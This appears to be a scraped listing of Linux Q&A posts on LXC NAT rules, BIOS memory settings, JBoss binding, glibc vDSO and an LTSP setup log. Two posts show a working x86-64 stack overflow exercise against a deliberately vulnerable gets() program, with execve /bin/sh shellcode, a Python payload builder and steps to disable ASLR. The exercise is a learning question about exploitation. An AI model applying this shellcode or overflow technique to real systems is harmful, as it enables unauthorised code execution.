  I have a running Debian Wheezy setup I copied exactly to an Ubuntu 12.04 ( elementary OS, used as desktop as well ) While the Debian setup runs flawlessly, the Ubuntu version dies on the prerouting to containers ( or so it seems ) In short: lxc works containers work and run connecting to container from host OK ( including mixed ports & services ) connecting to outside world from container is fine What does not work is connecting from another box to the host on a port that should be NATed to a container. The setups: /etc/rc.local CMD_BRCTL=/sbin/brctl CMD_IFCONFIG=/sbin/ifconfig CMD_IPTABLES=/sbin/iptables CMD_ROUTE=/sbin/route NETWORK_BRIDGE_DEVICE_NAT=lxc-bridge HOST_NETDEVICE=eth0 PRIVATE_GW_NAT=192.168.42.1 PRIVATE_NETMASK=255.255.255.0 PUBLIC_IP=192.168.13.100 ${CMD_BRCTL} addbr ${NETWORK_BRIDGE_DEVICE_NAT} ${CMD_BRCTL} setfd ${NETWORK_BRIDGE_DEVICE_NAT} 0 ${CMD_IFCONFIG} ${NETWORK_BRIDGE_DEVICE_NAT} ${PRIVATE_GW_NAT} netmask ${PRIVATE_NETMASK} promisc up Therefore lxc network is 192.168.42.0/24 and the host eth0 ip is 192.168.13.100; setup via network manager as static address. iptables: *mangle :PREROUTING ACCEPT [0:0] :INPUT ACCEPT [0:0] :FORWARD ACCEPT [0:0] :OUTPUT ACCEPT [0:0] :POSTROUTING ACCEPT [0:0] COMMIT *filter :FORWARD ACCEPT [0:0] :INPUT DROP [0:0] :OUTPUT ACCEPT [0:0] # Accept traffic from internal interfaces -A INPUT -i lo -j ACCEPT # accept traffic from lxc network -A INPUT -d 192.168.42.1 -s 192.168.42.0/24 -j ACCEPT # Accept internal traffic Make sure NEW incoming tcp connections are SYN # packets; otherwise we need to drop them: -A INPUT -p tcp ! --syn -m state --state NEW -j DROP # Packets with incoming fragments drop them. This attack result into Linux server panic such data loss. -A INPUT -f -j DROP # Incoming malformed XMAS packets drop them: -A INPUT -p tcp --tcp-flags ALL ALL -j DROP # Incoming malformed NULL packets: -A INPUT -p tcp --tcp-flags ALL NONE -j DROP # Accept traffic with the ACK flag set -A INPUT -p tcp -m tcp --tcp-flags ACK ACK -j ACCEPT # Allow incoming data that is part of a connection we established -A INPUT -m state --state ESTABLISHED -j ACCEPT # Allow data that is related to existing connections -A INPUT -m state --state RELATED -j ACCEPT # Accept responses to DNS queries -A INPUT -p udp -m udp --dport 1024:65535 --sport 53 -j ACCEPT # Accept responses to our pings -A INPUT -p icmp -m icmp --icmp-type echo-reply -j ACCEPT # Accept notifications of unreachable hosts -A INPUT -p icmp -m icmp --icmp-type destination-unreachable -j ACCEPT # Accept notifications to reduce sending speed -A INPUT -p icmp -m icmp --icmp-type source-quench -j ACCEPT # Accept notifications of lost packets -A INPUT -p icmp -m icmp --icmp-type time-exceeded -j ACCEPT # Accept notifications of protocol problems -A INPUT -p icmp -m icmp --icmp-type parameter-problem -j ACCEPT # Respond to pings, but limit -A INPUT -m icmp -p icmp --icmp-type echo-request -m state --state NEW -m limit --limit 6/s -j ACCEPT # Allow connections to SSH server -A INPUT -p tcp -m tcp --dport 22 -m state --state NEW -m limit --limit 12/s -j ACCEPT COMMIT *nat :OUTPUT ACCEPT [0:0] :PREROUTING ACCEPT [0:0] :POSTROUTING ACCEPT [0:0] -A PREROUTING -d 192.168.13.100 -p tcp -m tcp --dport 2221 -m state --state NEW -m limit --limit 12/s -j DNAT --to-destination 192.168.42.11:22 -A PREROUTING -d 192.168.13.100 -p tcp -m tcp --dport 80 -m state --state NEW -m limit --limit 512/s -j DNAT --to-destination 192.168.42.11:80 -A PREROUTING -d 192.168.13.100 -p tcp -m tcp --dport 443 -m state --state NEW -m limit --limit 512/s -j DNAT --to-destination 192.168.42.11:443 -A POSTROUTING -d 192.168.42.0/24 -o eth0 -j SNAT --to-source 192.168.13.100 -A POSTROUTING -o eth0 -j MASQUERADE COMMIT sysctl: net.ipv4.conf.all.forwarding = 1 net.ipv4.conf.all.mc_forwarding = 0 net.ipv4.conf.default.forwarding = 1 net.ipv4.conf.default.mc_forwarding = 0 net.ipv4.ip_forward = 1 I've set up full iptables log on the container; none of the packets addressed to 192.168.13.100, port 80 is reaching the container. I've even tried different kernels ( server kernel, raring lts kernel, etc ), modprobe everything iptables & nat related, nothing. Any ideas?

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• Bios Memory settings and Virtualization + Ubuntu (Unofficial Answers Welcome) [closed]

  - by TardisGuy

  Attempting to optimize my (Main Windowless) Ubuntu system for my uses I will detail questions below, I understand this might be the wrong place to ask these questions. If so, my apologies and I thank you so much for your patience. Thanks to all the volenteers that have helped me learn ubuntu over the years (Since 5.10) This is a "short" list of questions I have been trying to figure out for some time. If you feel you can answer one but not another, that's already more than I could ask for. I have wrote this up in a format for easy navigation to important points Hopefully to less annoy your eyes. You're welcome :) or i'm sorry i annoy you. :( If you would be so kind, Please format answers as follows: question 1: _ _ _ _ _ or question 1-a: _ _ _ _ _ If you want to simply link me to relevant information, rather than type up something really detailed; that would be more than awesome! Memory Specific Questions Goal: Maximizing memory bandwith to better perform in Virtualization, and Large file compression. (Possible conflict?) Ganged vs Unganged "which is better?"** is relative, i know. But what about ganged vs unganged - With or without Bank/channel interleaving? a: Speculation - If i understand correctly, "channel interleaving has something to do with using both channels to read or write in a kind of "striping" pattern, as opposed to a standard half duplex operation.(probably wrong) but wouldn't ganged channels make this irrelevant? Memory Interleaving(bank). Does it have a down side? Does it require a ratio of clocks? (If I run 4x4gig ddr3) a. If im reading correctly(trying to learn), this is designed to spread operations between latency cycles to work around the higher latency of "normal" operation. b. However it seems to me that it has to be: divisible by fractions of a master clock? So if i run memory at 1333mhz, then the mean between 2 (physical) banks would operate every (roughly) 600Mhz? Warning! Possibly utter nonsense: (1333/2 interleaving to act like 1 memory module per 2 sticks of a total of 4 sticks, meaning 2x channels@4) c. which makes me wonder if there would be left over clock cycles the system would have to... "truncate/balance" or something? But I'm certain theres a feature somewhere i don't understand. Virtualization Questions AMD-V - Option of IOMMU Turned it on, why do i have extra option of "64MB"? If IOMMU is on, but "64MB" is "disabled", Is it on? (have scoured google, I still dont know) a. I think i understand that its supposed to (kind of) "set aside" a part of ram to act as a faster interactive zone for "stuff" (usb, Graphics, and... what?) b. I am using Nvidia graphics on AMD (Used kernel option "iommu=pt iommu=1, pt "passthrough"? No idea what they do, found it on google to solve boot up issue) c. Will this option help me use low latency sound hardware, like my midi keyboard? Can you recommend any additional tweaks? a. sysctl settings? b. swap settings? Grats, youve reached the end. Thanks for Reading.

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• JBoss 5.1 binds to host address while run in vserver with -b <guest address>

  - by bart cane

  Hello, while starting JBoss 5.1.0.GA in virtual server machine on Debian (linux-VServer technology) I get the following error: ERROR [org.jboss.kernel.plugins.dependency.AbstractKernelController] (main) Error installing to Start: name=jboss.remoting:protocol=rmi,service=JMXConnectorServer state=Create mode=Manual requiredState=Installed java.io.IOException: Cannot bind to URL [rmi://10.1.2.11:1090/jmxconnector]: javax.naming.NoPermissionException [Root exception is java.rmi.ServerException: RemoteException occurred in server thread; nested exception is: java.rmi.AccessException: Registry.Registry.bind disallowed; origin /AA.BB.CC.DD is non-local host] where AA.BB.CC.DD is host machine name, 10.1.2.11 is vserver guest with JBoss and JBoss is started with -b 10.1.2.11 (I also tried -Djboss.bind.address=10.1.2.11 - the same result). 10.1.2.11 is bound to dummy2 interface on host (serving 10.1.2.1 network). The root exception is strange - why JBoss wants to bind to host address AA.BB.CC.DD? There were no problems with 4.2.3.GA on the same machine, also started with -b 10.1.2.11. It starts correctly when no params present - binds to localhost and everything is ok, but it MUST be bound to 10.1.2.11 to be visible by Apache on another vserver guest, acting as proxy. I thought that it can be fixed by setting net.ipv4.conf.all.promote_secondaries=1 via sysctl (was 0) but it didn't help much. Has anyone had such problem? Regards, bart

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• Shellcode for a simple stack overflow: Exploited program with shell terminates directly after execve

  - by henning

  Hi, I played around with buffer overflows on Linux (amd64) and tried exploiting a simple program, but it failed. I disabled the security features (address space layout randomization with sysctl -w kernel.randomize_va_space=0 and nx bit in the bios). It jumps to the stack and executes the shellcode, but it doesn't start a shell. The execve syscall succeeds but afterwards it just terminates. Any idea what's wrong? Running the shellcode standalone works just fine. Bonus question: Why do I need to set rax to zero before calling printf? (See comment in the code) Vulnerable file buffer.s: .data .fmtsp: .string "Stackpointer %p\n" .fmtjump: .string "Jump to %p\n" .text .global main main: push %rbp mov %rsp, %rbp sub $120, %rsp # calling printf without setting rax # to zero results in a segfault. why? xor %rax, %rax mov %rsp, %rsi mov $.fmtsp, %rdi call printf mov %rsp, %rdi call gets xor %rax, %rax mov $.fmtjump, %rdi mov 8(%rbp), %rsi call printf xor %rax, %rax leave ret shellcode.s .text .global main main: mov $0x68732f6e69622fff, %rbx shr $0x8, %rbx push %rbx mov %rsp, %rdi xor %rsi, %rsi xor %rdx, %rdx xor %rax, %rax add $0x3b, %rax syscall exploit.py shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05" stackpointer = "\x7f\xff\xff\xff\xe3\x28" output = shellcode output += 'a' * (120 - len(shellcode)) # fill buffer output += 'b' * 8 # override stored base pointer output += ''.join(reversed(stackpointer)) print output Compiled with: $ gcc -o buffer buffer.s $ gcc -o shellcode shellcode.s Started with: $ python exploit.py | ./buffer Stackpointer 0x7fffffffe328 Jump to 0x7fffffffe328 Debugging with gdb: $ python exploit.py > exploit.txt (Note: corrected stackpointer address in exploit.py for gdb) $ gdb buffer (gdb) run < exploit.txt Starting program: /home/henning/bo/buffer < exploit.txt Stackpointer 0x7fffffffe308 Jump to 0x7fffffffe308 process 4185 is executing new program: /bin/dash Program exited normally.

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• Shellcode for a simple stack overflow doesn't start a shell

  - by henning

  Hi, I played around with buffer overflows on Linux (amd64) and tried exploiting a simple program, but it failed. I disabled the security features (address space layout randomization with sysctl -w kernel.randomize_va_space=0 and nx bit in the bios). It jumps to the stack and executes the shellcode, but it doesn't start a shell. Seems like the execve syscall fails. Any idea what's wrong? Running the shellcode standalone works just fine. Bonus question: Why do I need to set rax to zero before calling printf? (See comment in the code) Vulnerable file buffer.s: .data .fmtsp: .string "Stackpointer %p\n" .fmtjump: .string "Jump to %p\n" .text .global main main: push %rbp mov %rsp, %rbp sub $120, %rsp # calling printf without setting rax # to zero results in a segfault. why? xor %rax, %rax mov %rsp, %rsi mov $.fmtsp, %rdi call printf mov %rsp, %rdi call gets xor %rax, %rax mov $.fmtjump, %rdi mov 8(%rbp), %rsi call printf xor %rax, %rax leave ret shellcode.s .text .global main main: mov $0x68732f6e69622fff, %rbx shr $0x8, %rbx push %rbx mov %rsp, %rdi xor %rsi, %rsi xor %rdx, %rdx xor %rax, %rax add $0x3b, %rax syscall exploit.py shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05" stackpointer = "\x7f\xff\xff\xff\xe3\x28" output = shellcode output += 'a' * (120 - len(shellcode)) # fill buffer output += 'b' * 8 # override stored base pointer output += ''.join(reversed(stackpointer)) print output Compiled with: $ gcc -o buffer buffer.s $ gcc -o shellcode shellcode.s Started with: $ python exploit.py | ./buffer Stackpointer 0x7fffffffe328 Jump to 0x7fffffffe328

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• is it possible to turn off vdso on glibc side?

  - by heroxbd

  I am aware that passing vdso=0 to kernel can turn this feature off, and that the dynamic linker in glibc can automatic detect and use vdso feature from kernel. Here I met with this problem. There is a RHEL 5.6 box (kernel 2.6.18-238.el5) in my institution where I only have a normal user access, probably suffering from RHEL bug 673616. As I compile a toolchain of linux-headers-3.9/gcc-4.7.2/glibc-2.17/binutils-2.23 on top of it, gcc bootstrap fails in cc1 in stage2 cannnot be run Program received signal SIGSEGV, Segmentation fault. 0x00002aaaaaaca6eb in ?? () (gdb) info sharedlibrary From To Syms Read Shared Object Library 0x00002aaaaaaabba0 0x00002aaaaaac3249 Yes (*) /home/benda/gnto/lib64/ld-linux-x86-64.so.2 0x00002aaaaacd29b0 0x00002aaaaace2480 Yes (*) /home/benda/gnto/usr/lib/libmpc.so.3 0x00002aaaaaef2cd0 0x00002aaaaaf36c08 Yes (*) /home/benda/gnto/usr/lib/libmpfr.so.4 0x00002aaaab14f280 0x00002aaaab19b658 Yes (*) /home/benda/gnto/usr/lib/libgmp.so.10 0x00002aaaab3b3060 0x00002aaaab3b3b50 Yes (*) /home/benda/gnto/lib/libdl.so.2 0x00002aaaab5b87b0 0x00002aaaab5c4bb0 Yes (*) /home/benda/gnto/usr/lib/libz.so.1 0x00002aaaab7d0e70 0x00002aaaab80f62c Yes (*) /home/benda/gnto/lib/libm.so.6 0x00002aaaaba70d40 0x00002aaaabb81aec Yes (*) /home/benda/gnto/lib/libc.so.6 (*): Shared library is missing debugging information. and a simple program #include <sys/time.h> #include <stdio.h> int main () { struct timeval tim; gettimeofday(&tim, NULL); return 0; } get segment fault in the same way if compiled against glibc-2.17 and xgcc from stage1. Both cc1 and the test program can be run on another running RHEL 5.5 (kernel 2.6.18-194.26.1.el5) with gcc-4.7.2/glibc-2.17/binutils-2.23 as normal user. I cannot simply upgrade the box to a newer RHEL version, nor could I turn VDSO off via sysctl or proc. The question is, is there a way to compile glibc so that it turns off VDSO unconditionally?

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• Linux Mint 10 LXDE computer to act as LTSP Server without luck

  - by Rautamiekka

  So I've tried to make our screen-broken HP laptop to also serve as LTSP Server in addition to various other tasks, without luck, which may be cuz I'm running LM10 LXDE while the instructions are for Ubuntu. Excuse my ignorance. The entire output from Terminal after installing LTSP stuff along with a Server kernel and a load of other packages: administrator@rauta-mint-turion ~ $ sudo lt ltrace ltsp-build-client ltsp-chroot ltspfs ltspfsmounter ltsp-info ltsp-localapps ltsp-update-image ltsp-update-kernels ltsp-update-sshkeys administrator@rauta-mint-turion ~ $ sudo ltsp-update-sshkeys administrator@rauta-mint-turion ~ $ sudo ltsp-update-kernels find: `/opt/ltsp/': No such file or directory administrator@rauta-mint-turion ~ $ sudo ltsp-build-client /usr/share/ltsp/plugins/ltsp-build-client/common/010-chroot-tagging: line 3: /opt/ltsp/i386/etc/ltsp_chroot: No such file or directory error: LTSP client installation ended abnormally administrator@rauta-mint-turion ~ $ sudo ltsp-update-image Cannot determine assigned port. Assigning to port 2000. mkdir: cannot create directory `/opt/ltsp/i386/etc/ltsp': No such file or directory /usr/sbin/ltsp-update-image: 274: cannot create /opt/ltsp/i386/etc/ltsp/update-kernels.conf: Directory nonexistent /usr/sbin/ltsp-update-image: 274: cannot create /opt/ltsp/i386/etc/ltsp/update-kernels.conf: Directory nonexistent Regenerating kernel... chroot: failed to run command `/usr/share/ltsp/update-kernels': No such file or directory Done. Configuring inetd... Done. Updating pxelinux default configuration...Done. Skipping invalid chroot: /opt/ltsp/i386 chroot: failed to run command `test': No such file or directory administrator@rauta-mint-turion ~ $ sudo ltsp-chroot chroot: failed to run command `/bin/bash': No such file or directory administrator@rauta-mint-turion ~ $ bash administrator@rauta-mint-turion ~ $ exit exit administrator@rauta-mint-turion ~ $ sudo ls /opt/ltsp i386 administrator@rauta-mint-turion ~ $ sudo ls /opt/ltsp/i386/ administrator@rauta-mint-turion ~ $ sudo ltsp-build-client NOTE: Root directory /opt/ltsp/i386 already exists, this will lead to problems, please remove it before trying again. Exiting. error: LTSP client installation ended abnormally administrator@rauta-mint-turion ~ $ sudo rm -rv /opt/ltsp/i386 removed directory: `/opt/ltsp/i386' administrator@rauta-mint-turion ~ $ sudo ltsp-build-client /usr/share/ltsp/plugins/ltsp-build-client/common/010-chroot-tagging: line 3: /opt/ltsp/i386/etc/ltsp_chroot: No such file or directory error: LTSP client installation ended abnormally administrator@rauta-mint-turion ~ $ aptitude search ltsp p fts-ltsp-ldap - LDAP LTSP module for the TFTP/Fuse supplicant p ltsp-client - LTSP client environment p ltsp-client-core - LTSP client environment (core) p ltsp-cluster-accountmanager - Account creation and management daemon for LTSP p ltsp-cluster-control - Web based thin-client configuration management p ltsp-cluster-lbagent - LTSP loadbalancer agent offers variables about the state of the ltsp server p ltsp-cluster-lbserver - LTSP loadbalancer server returns the optimal ltsp server to terminal p ltsp-cluster-nxloadbalancer - Minimal NX loadbalancer for ltsp-cluster p ltsp-cluster-pxeconfig - LTSP-Cluster symlink generator p ltsp-controlaula - Classroom management tool with ltsp clients p ltsp-docs - LTSP Documentation p ltsp-livecd - starts an LTSP live server on an Ubuntu livecd session p ltsp-manager - Ubuntu LTSP server management GUI i A ltsp-server - Basic LTSP server environment i ltsp-server-standalone - Complete LTSP server environment i A ltspfs - Fuse based remote filesystem for LTSP thin clients p ltspfsd - Fuse based remote filesystem hooks for LTSP thin clients p ltspfsd-core - Fuse based remote filesystem daemon for LTSP thin clients p python-ltsp - provides ltsp related functions administrator@rauta-mint-turion ~ $ sudo aptitude purge ltsp-server ltsp-server-standalone ltspfs The following packages will be REMOVED: debconf-utils{u} debootstrap{u} dhcp3-server{u} gstreamer0.10-pulseaudio{u} ldm-server{u} libpulse-browse0{u} ltsp-server{p} ltsp-server-standalone{p} ltspfs{p} nbd-server{u} openbsd-inetd{u} pulseaudio{u} pulseaudio-esound-compat{u} pulseaudio-module-x11{u} pulseaudio-utils{u} squashfs-tools{u} tftpd-hpa{u} 0 packages upgraded, 0 newly installed, 17 to remove and 0 not upgraded. Need to get 0B of archives. After unpacking 6,996kB will be freed. Do you want to continue? [Y/n/?] (Reading database ... 158454 files and directories currently installed.) Removing ltsp-server-standalone ... Purging configuration files for ltsp-server-standalone ... Removing ltsp-server ... Purging configuration files for ltsp-server ... dpkg: warning: while removing ltsp-server, directory '/var/lib/tftpboot/ltsp' not empty so not removed. dpkg: warning: while removing ltsp-server, directory '/var/lib/tftpboot' not empty so not removed. Processing triggers for man-db ... (Reading database ... 158195 files and directories currently installed.) Removing debconf-utils ... Removing debootstrap ... Removing dhcp3-server ... * Stopping DHCP server dhcpd3 [ OK ] Removing gstreamer0.10-pulseaudio ... Removing ldm-server ... Removing pulseaudio-module-x11 ... Removing pulseaudio-esound-compat ... Removing pulseaudio ... * PulseAudio configured for per-user sessions Removing pulseaudio-utils ... Removing libpulse-browse0 ... Processing triggers for man-db ... Processing triggers for ureadahead ... ureadahead will be reprofiled on next reboot Processing triggers for libc-bin ... ldconfig deferred processing now taking place (Reading database ... 157944 files and directories currently installed.) Removing ltspfs ... Processing triggers for man-db ... (Reading database ... 157932 files and directories currently installed.) Removing nbd-server ... Stopping Network Block Device server: nbd-server. Removing openbsd-inetd ... * Stopping internet superserver inetd [ OK ] Removing squashfs-tools ... Removing tftpd-hpa ... tftpd-hpa stop/waiting Processing triggers for ureadahead ... Processing triggers for man-db ... administrator@rauta-mint-turion ~ $ sudo aptitude purge ~c The following packages will be REMOVED: dhcp3-server{p} libpulse-browse0{p} nbd-server{p} openbsd-inetd{p} pulseaudio{p} tftpd-hpa{p} 0 packages upgraded, 0 newly installed, 6 to remove and 0 not upgraded. Need to get 0B of archives. After unpacking 0B will be used. Do you want to continue? [Y/n/?] (Reading database ... 157881 files and directories currently installed.) Removing dhcp3-server ... Purging configuration files for dhcp3-server ... Removing libpulse-browse0 ... Purging configuration files for libpulse-browse0 ... Removing nbd-server ... Purging configuration files for nbd-server ... Removing openbsd-inetd ... Purging configuration files for openbsd-inetd ... Removing pulseaudio ... Purging configuration files for pulseaudio ... Removing tftpd-hpa ... Purging configuration files for tftpd-hpa ... Processing triggers for ureadahead ... administrator@rauta-mint-turion ~ $ sudo aptitude install ltsp-server-standalone The following NEW packages will be installed: debconf-utils{a} debootstrap{a} ldm-server{a} ltsp-server{a} ltsp-server-standalone ltspfs{a} nbd-server{a} openbsd-inetd{a} squashfs-tools{a} The following packages are RECOMMENDED but will NOT be installed: dhcp3-server pulseaudio-esound-compat tftpd-hpa 0 packages upgraded, 9 newly installed, 0 to remove and 0 not upgraded. Need to get 0B/498kB of archives. After unpacking 2,437kB will be used. Do you want to continue? [Y/n/?] Preconfiguring packages ... Selecting previously deselected package openbsd-inetd. (Reading database ... 157868 files and directories currently installed.) Unpacking openbsd-inetd (from .../openbsd-inetd_0.20080125-4ubuntu2_i386.deb) ... Processing triggers for man-db ... Processing triggers for ureadahead ... Setting up openbsd-inetd (0.20080125-4ubuntu2) ... * Stopping internet superserver inetd [ OK ] * Starting internet superserver inetd [ OK ] Selecting previously deselected package ldm-server. (Reading database ... 157877 files and directories currently installed.) Unpacking ldm-server (from .../ldm-server_2%3a2.1.3-0ubuntu1_all.deb) ... Selecting previously deselected package debconf-utils. Unpacking debconf-utils (from .../debconf-utils_1.5.32ubuntu3_all.deb) ... Selecting previously deselected package debootstrap. Unpacking debootstrap (from .../debootstrap_1.0.23ubuntu1_all.deb) ... Selecting previously deselected package nbd-server. Unpacking nbd-server (from .../nbd-server_1%3a2.9.14-2ubuntu1_i386.deb) ... Selecting previously deselected package squashfs-tools. Unpacking squashfs-tools (from .../squashfs-tools_1%3a4.0-8_i386.deb) ... Selecting previously deselected package ltsp-server. GNU nano 2.2.4 File: /etc/ltsp/ltsp-update-image.conf # Configuration file for ltsp-update-image # By default, do not compress the image # as it's reported to make it unstable NO_COMP="-noF -noD -noI -no-exports" [ Switched to /etc/ltsp/ltsp-update-image.conf ] administrator@rauta-mint-turion ~ $ ls /opt/ firefox/ ltsp/ mint-flashplugin/ administrator@rauta-mint-turion ~ $ ls /opt/ltsp/i386/ administrator@rauta-mint-turion ~ $ ls /opt/ltsp/ i386 administrator@rauta-mint-turion ~ $ sudo ltsp ltsp-build-client ltsp-chroot ltspfs ltspfsmounter ltsp-info ltsp-localapps ltsp-update-image ltsp-update-kernels ltsp-update-sshkeys administrator@rauta-mint-turion ~ $ sudo ltsp-build-client NOTE: Root directory /opt/ltsp/i386 already exists, this will lead to problems, please remove it before trying again. Exiting. error: LTSP client installation ended abnormally administrator@rauta-mint-turion ~ $ ^C administrator@rauta-mint-turion ~ $ sudo aptitude purge ltsp ltspfs ltsp-server ltsp-server-standalone administrator@rauta-mint-turion ~ $ sudo aptitude purge ltsp-server The following packages will be REMOVED: ltsp-server{p} 0 packages upgraded, 0 newly installed, 1 to remove and 0 not upgraded. Need to get 0B of archives. After unpacking 1,073kB will be freed. The following packages have unmet dependencies: ltsp-server-standalone: Depends: ltsp-server but it is not going to be installed. The following actions will resolve these dependencies: Remove the following packages: 1) ltsp-server-standalone Accept this solution? [Y/n/q/?] The following packages will be REMOVED: debconf-utils{u} debootstrap{u} ldm-server{u} ltsp-server{p} ltsp-server-standalone{a} ltspfs{u} nbd-server{u} openbsd-inetd{u} squashfs-tools{u} 0 packages upgraded, 0 newly installed, 9 to remove and 0 not upgraded. Need to get 0B of archives. After unpacking 2,437kB will be freed. Do you want to continue? [Y/n/?] (Reading database ... 158244 files and directories currently installed.) Removing ltsp-server-standalone ... (Reading database ... 158240 files and directories currently installed.) Removing ltsp-server ... Purging configuration files for ltsp-server ... dpkg: warning: while removing ltsp-server, directory '/var/lib/tftpboot/ltsp' not empty so not removed. dpkg: warning: while removing ltsp-server, directory '/var/lib/tftpboot' not empty so not removed. Processing triggers for man-db ... (Reading database ... 157987 files and directories currently installed.) Removing debconf-utils ... Removing debootstrap ... Removing ldm-server ... Removing ltspfs ... Removing nbd-server ... Stopping Network Block Device server: nbd-server. Removing openbsd-inetd ... * Stopping internet superserver inetd [ OK ] Removing squashfs-tools ... Processing triggers for man-db ... Processing triggers for ureadahead ... administrator@rauta-mint-turion ~ $ sudo aptitude purge ~c The following packages will be REMOVED: ltsp-server-standalone{p} nbd-server{p} openbsd-inetd{p} 0 packages upgraded, 0 newly installed, 3 to remove and 0 not upgraded. Need to get 0B of archives. After unpacking 0B will be used. Do you want to continue? [Y/n/?] (Reading database ... 157871 files and directories currently installed.) Removing ltsp-server-standalone ... Purging configuration files for ltsp-server-standalone ... Removing nbd-server ... Purging configuration files for nbd-server ... Removing openbsd-inetd ... Purging configuration files for openbsd-inetd ... Processing triggers for ureadahead ... administrator@rauta-mint-turion ~ $ sudo rm -rv /var/lib/t teamspeak-server/ tftpboot/ transmission-daemon/ administrator@rauta-mint-turion ~ $ sudo rm -rv /var/lib/tftpboot removed `/var/lib/tftpboot/ltsp/i386/pxelinux.cfg/default' removed directory: `/var/lib/tftpboot/ltsp/i386/pxelinux.cfg' removed directory: `/var/lib/tftpboot/ltsp/i386' removed directory: `/var/lib/tftpboot/ltsp' removed directory: `/var/lib/tftpboot' administrator@rauta-mint-turion ~ $ sudo find / -name "ltsp" /opt/ltsp administrator@rauta-mint-turion ~ $ sudo rm -rv /opt/ltsp removed directory: `/opt/ltsp/i386' removed directory: `/opt/ltsp' administrator@rauta-mint-turion ~ $ sudo aptitude install ltsp-server-standalone The following NEW packages will be installed: debconf-utils{a} debootstrap{a} ldm-server{a} ltsp-server{a} ltsp-server-standalone ltspfs{a} nbd-server{a} openbsd-inetd{a} squashfs-tools{a} The following packages are RECOMMENDED but will NOT be installed: dhcp3-server pulseaudio-esound-compat tftpd-hpa 0 packages upgraded, 9 newly installed, 0 to remove and 0 not upgraded. Need to get 0B/498kB of archives. After unpacking 2,437kB will be used. Do you want to continue? [Y/n/?] Preconfiguring packages ... Selecting previously deselected package openbsd-inetd. (Reading database ... 157868 files and directories currently installed.) Unpacking openbsd-inetd (from .../openbsd-inetd_0.20080125-4ubuntu2_i386.deb) ... Processing triggers for man-db ... GNU nano 2.2.4 New Buffer GNU nano 2.2.4 File: /etc/ltsp/dhcpd.conf # # Default LTSP dhcpd.conf config file. # authoritative; subnet 192.168.2.0 netmask 255.255.255.0 { range 192.168.2.70 192.168.2.79; option domain-name "jarvinen"; option domain-name-servers 192.168.2.254; option broadcast-address 192.168.2.255; option routers 192.168.2.254; # next-server 192.168.0.1; # get-lease-hostnames true; option subnet-mask 255.255.255.0; option root-path "/opt/ltsp/i386"; if substring( option vendor-class-identifier, 0, 9 ) = "PXEClient" { filename "/ltsp/i386/pxelinux.0"; } else { filename "/ltsp/i386/nbi.img"; } } [ Wrote 22 lines ] administrator@rauta-mint-turion ~ $ sudo service dhcp3-server start * Starting DHCP server dhcpd3 [ OK ] administrator@rauta-mint-turion ~ $ sudo ltsp-build-client /usr/share/ltsp/plugins/ltsp-build-client/common/010-chroot-tagging: line 3: /opt/ltsp/i386/etc/ltsp_chroot: No such file or directory error: LTSP client installation ended abnormally administrator@rauta-mint-turion ~ $ sudo cat /usr/share/ltsp/plugins/ltsp-build-client/common/010-chroot-tagging case "$MODE" in after-install) echo LTSP_CHROOT=$ROOT >> $ROOT/etc/ltsp_chroot ;; esac administrator@rauta-mint-turion ~ $ cd $ROOT/etc/ltsp_chroot bash: cd: /etc/ltsp_chroot: No such file or directory administrator@rauta-mint-turion ~ $ cd $ROOT/etc/ administrator@rauta-mint-turion /etc $ ls acpi chatscripts emacs group insserv.conf.d logrotate.conf mysql php5 rc6.d smbnetfs.conf UPower adduser.conf ConsoleKit environment group- iproute2 logrotate.d nanorc phpmyadmin rc.local snmp usb_modeswitch.conf alternatives console-setup esound grub.d issue lsb-base nbd-server pm rcS.d sound usb_modeswitch.d anacrontab cron.d firefox gshadow issue.net lsb-base-logging.sh ndiswrapper pnm2ppa.conf request-key.conf ssh ushare.conf apache2 cron.daily firefox-3.5 gshadow- java lsb-release netscsid.conf polkit-1 resolvconf ssl vga apm cron.hourly firestarter gtk-2.0 java-6-sun ltrace.conf network popularity-contest.conf resolv.conf sudoers vim apparmor cron.monthly fonts gtkmathview kbd ltsp NetworkManager ppp rmt sudoers.d vlc apparmor.d crontab foomatic gufw kernel lxdm networks printcap rpc su-to-rootrc vsftpd.conf apport cron.weekly fstab hal kernel-img.conf magic nsswitch.conf profile rsyslog.conf sweeprc w3m apt crypttab ftpusers hdparm.conf kerneloops.conf magic.mime ntp.conf profile.d rsyslog.d sysctl.conf wgetrc at.deny cups fuse.conf host.conf kompozer mailcap obex-data-server protocols samba sysctl.d wildmidi auto-apt dbconfig-common gai.conf hostname ldap mailcap.order ODBCDataSources psiconv sane.d teamspeak-server wodim.conf avahi dbus-1 gamin hosts ld.so.cache manpath.config odbc.ini pulse screenrc terminfo wpa_supplicant bash.bashrc debconf.conf gconf hosts.allow ld.so.conf menu openal purple securetty thunderbird X11 bash_completion debian_version gdb hosts.deny ld.so.conf.d menu-methods openoffice python security timezone xdg bash_completion.d default gdm hp legal mime.types opt python2.6 sensors3.conf transmission-daemon xml bindresvport.blacklist defoma ghostscript ifplugd lftp.conf mke2fs.conf pam.conf python2.7 sensors.d ts.conf xulrunner-1.9.2 blkid.conf deluser.conf gimp inetd.conf libpaper.d modprobe.d pam.d python3.1 services ucf.conf zsh_command_not_found blkid.tab depmod.d gnome init libreoffice modules pango rc0.d sgml udev bluetooth dhcp gnome-system-tools init.d linuxmint motd papersize rc1.d shadow ufw bonobo-activation dhcp3 gnome-vfs-2.0 initramfs-tools locale.alias mplayer passwd rc2.d shadow- updatedb.conf ca-certificates dictionaries-common gnome-vfs-mime-magic inputrc localtime mtab passwd- rc3.d shells update-manager ca-certificates.conf doc-base gre.d insserv logcheck mtab.fuselock pcmcia rc4.d skel update-motd.d calendar dpkg groff insserv.conf login.defs mtools.conf perl rc5.d smb2www update-notifier administrator@rauta-mint-turion /etc $ cd ltsp/ administrator@rauta-mint-turion /etc/ltsp $ ls dhcpd.conf ltsp-update-image.conf administrator@rauta-mint-turion /etc/ltsp $ cat dhcpd.conf # # Default LTSP dhcpd.conf config file. # authoritative; subnet 192.168.2.0 netmask 255.255.255.0 { range 192.168.2.70 192.168.2.79; option domain-name "jarvinen"; option domain-name-servers 192.168.2.254; option broadcast-address 192.168.2.255; option routers 192.168.2.254; # next-server 192.168.0.1; # get-lease-hostnames true; option 